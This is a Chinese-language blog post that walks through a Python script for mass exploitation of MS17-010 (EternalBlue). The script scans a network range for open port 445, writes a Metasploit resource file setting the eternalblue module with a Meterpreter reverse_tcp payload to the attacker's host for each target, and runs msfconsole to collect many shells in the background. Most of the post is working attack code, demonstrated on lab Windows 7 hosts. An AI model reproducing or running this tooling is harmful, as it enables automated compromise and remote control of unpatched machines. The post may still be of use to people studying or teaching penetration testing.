醉梦半醒的博客

Python脚本与Metasploit交互批量产出MS17_010 shell

字数统计: 1.3k阅读时长: 5 min
2019/03/22 Share

文章首发于安恒网络空间安全讲武堂:

https://mp.weixin.qq.com/s?__biz=MzU1MzE3Njg2Mw==&mid=2247486376&idx=2&sn=9a49858e4fb27fb41942b252f43cf68f&chksm=fbf791d8cc8018ce178dfeb612f28ad08e7ca503195f1609ff4928d409a6e9e127514f86ca22

#前言:
2017年5月,被称为近10年来影响范围最广泛“最嚣张”的WannaCry勒索病毒席卷全球,据统计,全球共有150多个国家超30万台终端被感染,波及政府、学校、医院、金融、航班等各行各业。
在神器Metasploit中我们利用exploit/windows/smb/ms17_010_eternalblue这个模块可以对这个漏洞进行复现,但是在对内网整个网段进行漏洞验证的时候
每次都要输入参数的过程让我觉得很繁琐,于是写下了ms17_010漏洞批量利用的脚本

#实验环境安装:
以kali为例(安装nmap库):
pip install nmap
pip install python-nmap
(如果是ubuntu 请自行安装nmap和msf控制台)

#整体代码架构

#利用nmap库扫描:
首先,需要了解一下python一个名为nmap的第三方库,给网络扫描带来了极大的便利,创建一个PortScanner()类对象,这使我们能用这个对象完成扫描操作,利用类里面的scan()函数,将目标主机的地址和端口作为参数输入,进行扫描,通过返回的参数来判断主机的状态,
以扫描百度的80端口为例:

import nmap
scanner=nmap.PortScanner()  //创建一个PortScanner()类对象
result=scanner.scan('183.232.231.172','80') //利用scan()函数对主机的地址和端口进行扫描
print result  //输出返回信息

返回信息:

{‘nmap’: {‘scanstats’: {‘uphosts’: ‘1’, ‘timestr’: ‘Sat Mar 16 01:44:25 2019’, ‘downhosts’: ‘0’, ‘totalhosts’: ‘1’, ‘elapsed’: ‘18.97’}, ‘scaninfo’: {‘tcp’: {‘services’: ‘80’, ‘method’: ‘syn’}}, ‘command_line’: ‘nmap -oX - -p 80 -sV 183.232.231.172’}, ‘scan’: {‘183.232.231.172’: {‘status’: {‘state’: ‘up’, ‘reason’: ‘reset’}, ‘hostnames’: [{‘type’: ‘’, ‘name’: ‘’}], ‘vendor’: {}, ‘addresses’: {‘ipv4’: ‘183.232.231.172’}, ‘tcp’: {80: {‘product’: ‘Apache httpd’, ‘state’: ‘open’, ‘version’: ‘’, ‘name’: ‘http’, ‘conf’: ‘10’, ‘extrainfo’: ‘’, ‘reason’: ‘syn-ack’, ‘cpe’: ‘cpe:/a:apache:http_server’}}}}}

uphosts为1则主机存活,0表示主机没有存活,tcp里面的state的值可以看出端口的开放状态,
接下来会重点用到这两个值
判断目标主机是否存活和445端口的状态:

def find_target(host):
    target_list=[]  //创建一个列表用来存放主机存活且开放445端口的列表
    for target in IP(str(host))[1:]:  //利用IPy类里面的IP()库转换成每个单独的ip
        target=str(target)
        scanner=nmap.PortScanner()   //初始化一个PortScanner()类对象
        rst=scanner.scan(target,'445')  //对目标的445端口进行扫描
        if rst['nmap']['scanstats']['uphosts'] == '0':  //判断目标主机是否存活
            print 'Host not up:'+target    //用户交互输出
            continue
        state=rst['scan'][target]['tcp'][445]['state']  //记录445端口的开放状态
        if state =='open':  //进行端口状态的判断
            target_list.append(target)   //如果端口开放,将主机ip加入到列表
            print str(target)+' with 445 port open, there may be a vulnerability in ms17_010'
        else:
            print str(target)+' 445 port not open!'
    return target_list

#配置文件写入:

def create_file(configfile,target,lhost):
    configfile.write('use exploit/windows/smb/ms17_010_eternalblue\n') //使用ms17_010利用模块
    configfile.write('set rhost '+target+'\n') //设置rhost
    configfile.write('set payload windows/x64/meterpreter/reverse_tcp\n')  //设置payload
    lport=4444+int(target.split('.')[-1]) //本地监听端口根据ip地址进行计算,防止多个shell产生端口冲突的问题
    configfile.write('set lport '+str(lport)+'\n')  //设置lport
    configfile.write('set lhost '+str(lhost)+'\n')  //设置lhost
    configfile.write('exploit -j -z\n')   //在后台且不与用户交互运行
    print "Your shell will created at "+ str(lhost) + ":"+str(lport)

因为脚本会黑掉多个靶机,不可能同时与他们交互,所以采用exploit -j -z在后台运行,并且本地监听端口为4444+主机地址的计算方式

#主函数:
利用optparse库获取用户的输入参数

def main():
    parser = optparse.OptionParser('%prog -H <target> -L <lhost>')   //构造optionparser的对象并且给用户一个说明文档
    parser.add_option('-H',dest='host',type='string')   //在对象中增加参数选项
    parser.add_option('-L',dest='lhost',type='string')   
    (options,args) = parser.parse_args()  //调用optionparser的解析函数,解析用户输入的命令
    host=options.host
    lhost=options.lhost
    if host == None:    //用户如果没有输入扫描目标,输出说明文档
        parser.print_help()
        exit(0)
    target_list=find_target(host)  //获取开放445端口的主机
    for target in target_list:   //对每个主机进行循环
        configfile = open('meta.rc','a')   //利用文件追加的方式打开文件
        create_file(configfile,target,lhost)  //配置文件写入
        configfile.close()
    command='msfconsole -r meta.rc'   //为了缩短测试时间可以将命令先写入一个文件,然后在msf中加载它
    os.system(command)  //运行系统命令

#进行代码整合:

源代码下载

#演示:
靶机: 192.168.40.4(win7) 192.168.40.5(win7)
攻击机: 192.168.40.138(kali)


查看sessions:

#总结:
批量化自动脚本给网络扫描带来了极大的便利,此代码注重Python和Metasploit的交互过程,可以举一反三和其他模块进行批量交互,有兴趣的可以自行编写.

#参考文献: Python绝技:运用Python成为顶级黑客

CATALOG